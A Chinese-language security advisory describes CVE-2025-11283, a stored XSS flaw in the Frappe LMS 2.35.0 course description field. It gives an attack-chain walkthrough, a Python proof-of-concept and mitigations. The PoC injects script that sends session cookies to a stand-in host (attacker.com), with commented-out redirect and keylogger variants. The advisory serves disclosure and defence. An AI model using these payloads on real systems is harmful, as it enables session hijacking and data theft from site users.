IPBUF安全漏洞报告
English
CVE-2025-11283 CVSS 2.4 低危

CVE-2025-11283:Frappe LMS Course Handler组件XSS漏洞

披露日期: 2025-10-05

漏洞信息

漏洞编号
CVE-2025-11283
漏洞类型
跨站脚本攻击(XSS)
CVSS评分
2.4 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
Frappe LMS

相关标签

XSS跨站脚本Frappe LMS存储型XSSCourse Handler低危漏洞CVE-2025-11283Web应用安全LMS开源软件

漏洞概述

CVE-2025-11283是Frappe LMS 2.35.0版本中存在的一个跨站脚本(XSS)漏洞。该漏洞位于Course Handler(课程处理器)组件中,具体涉及对Description(描述)参数的处理逻辑。攻击者可以通过构造恶意的Description参数内容,在远程条件下触发XSS攻击。根据CVSS 3.1评分标准,该漏洞评分为2.4分,属于低危级别。值得注意的是,虽然该漏洞的CVSS评分较低,但其利用条件需要高权限(PR:H)和用户交互(UI:R),这意味着攻击者需要先获取一定的系统权限才能实施攻击。漏洞影响范围主要集中在机密性和完整性方面,对可用性无影响。Frappe LMS是一款开源的学习管理系统,广泛应用于教育机构和企业培训场景中。由于该漏洞影响课程描述功能,攻击者可能通过注入恶意脚本来窃取用户会话、篡改页面内容或实施钓鱼攻击。漏洞已于公开披露,相关的PoC已在GitHub Gist上发布,编号为0xHamy/1f99795df9301a95ee0c6d18028cd3da。供应商已确认修复了包括此漏洞在内的四个安全问题,但GitHub的发布说明中并未明确提及这些修复。

技术细节

该漏洞属于典型的存储型XSS(Stored Cross-Site Scripting)漏洞,其根本原因在于Frappe LMS的Course Handler组件在处理用户提交的Description参数时,未对输入内容进行充分的过滤和转义。具体而言,当管理员或有权限的用户在创建或编辑课程时,系统允许在Description字段中输入HTML或JavaScript代码片段,这些恶意代码会被存储到数据库中。当其他用户(包括普通学员)访问包含该课程的页面时,嵌入的恶意脚本将在受害者的浏览器上下文中执行。

从CVSS向量分析,该漏洞的攻击向量为网络(AV:N),攻击复杂度低(AC:L),但需要高权限(PR:H)才能触发,意味着攻击者需要先获取管理员或具有课程编辑权限的账号。用户交互(UI:R)表明需要受害者主动访问被注入恶意代码的页面。漏洞对机密性影响低(C:L),对完整性影响低(I:L),对可用性无影响(A:N),这与典型的存储型XSS特征一致——主要危害是数据窃取和会话劫持,而非服务中断。

利用方式方面,攻击者首先需要获取具有课程编辑权限的账号,然后通过Course Handler的接口提交包含恶意JavaScript代码的Description参数。常见的Payload包括窃取cookie的脚本、重定向到钓鱼页面的代码,或用于进一步渗透的恶意载荷。由于漏洞已在GitHub Gist上公开披露(0xHamy),潜在的攻击者可以参考公开的PoC进行利用。

攻击链分析

STEP 1
步骤1:获取权限
攻击者首先需要获取Frappe LMS系统中具有课程创建或编辑权限的账号。这可以通过钓鱼攻击、暴力破解或利用其他漏洞实现。
STEP 2
步骤2:登录系统
使用获取的高权限账号登录Frappe LMS管理后台,确保拥有Course Handler组件的操作权限。
STEP 3
步骤3:构造恶意Payload
在Course Handler的Description参数中注入恶意JavaScript代码,如窃取cookie、重定向或键盘记录等脚本。
STEP 4
步骤4:提交并存储
将包含恶意Payload的课程描述提交至服务器,由于系统未对输入进行充分过滤,恶意代码被存储到数据库中。
STEP 5
步骤5:触发执行
当受害者(包括普通学员或访客)访问包含恶意描述的课程页面时,浏览器解析HTML并执行嵌入的恶意脚本。
STEP 6
步骤6:数据窃取与进一步攻击
恶意脚本在受害者浏览器上下文中执行,窃取会话cookie、重定向到钓鱼页面或执行其他恶意操作,攻击者可利用窃取的会话进行权限提升或横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11283 - Frappe LMS 2.35.0 Stored XSS PoC # Vulnerability: Stored XSS in Course Handler - Description parameter # Author: 0xHamy # Reference: https://gist.github.com/0xHamy/1f99795df9301a95ee0c6d18028cd3da import requests # Target configuration TARGET_URL = "https://target-frappe-lms.com" SESSION_COOKIE = "your_session_cookie_here" # Requires admin/high-privilege session # Step 1: Authenticate and obtain session (if not already authenticated) session = requests.Session() session.cookies.set("sid", SESSION_COOKIE) # Step 2: Craft malicious payload for the Description field # The payload will execute JavaScript in the victim's browser context xss_payload = """ <div class="course-description"> <h2>Welcome to the Course</h2> <script> // Steal session cookies and send to attacker's server fetch('https://attacker.com/steal?cookie=' + document.cookie); // Alternative: Redirect to phishing page // window.location = 'https://attacker.com/phishing'; // Alternative: Keylogger // document.addEventListener('keypress', function(e) { // fetch('https://attacker.com/log?key=' + e.key); // }); </script> <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> </div> """ # Step 3: Send the malicious course description via Course Handler API course_data = { "title": "Introduction to Security", "description": xss_payload, "category": "Security", "instructor": "admin" } # Step 4: Submit the crafted payload response = session.post( f"{TARGET_URL}/api/method/lms.lms.doctype.lms_course.lms_course.create_course", json=course_data, headers={ "Content-Type": "application/json", "X-Frappe-CSRF-Token": "your_csrf_token_here" } ) # Step 5: Verify the payload was stored if response.status_code == 200: print(f"[+] XSS payload successfully stored in course description") print(f"[+] Course ID: {response.json().get('message', {}).get('name')}") print(f"[+] When a victim views this course, the script will execute") else: print(f"[-] Failed to store payload: {response.status_code}") print(f"[-] Response: {response.text}") # Steps to Reproduce (Manual): # 1. Login to Frappe LMS as an admin or user with course creation privileges # 2. Navigate to Course creation/editing page # 3. In the Description field, inject: <script>alert(document.cookie)</script> # 4. Save the course # 5. When any user (including unauthenticated viewers) accesses the course page, # the JavaScript will execute in their browser context

影响范围

Frappe LMS 2.35.0

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)对Course Handler的Description输入框实施前端过滤,限制特殊字符(如<、>、"、'等)的输入;2)在后端对存储的课程描述进行HTML实体编码;3)部署Web应用防火墙(WAF)规则,拦截常见的XSS攻击Payload;4)限制课程编辑权限,仅授予可信用户;5)启用内容安全策略(CSP)头,限制内联脚本执行;6)将会话cookie设置为HTTPOnly,降低被XSS窃取的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表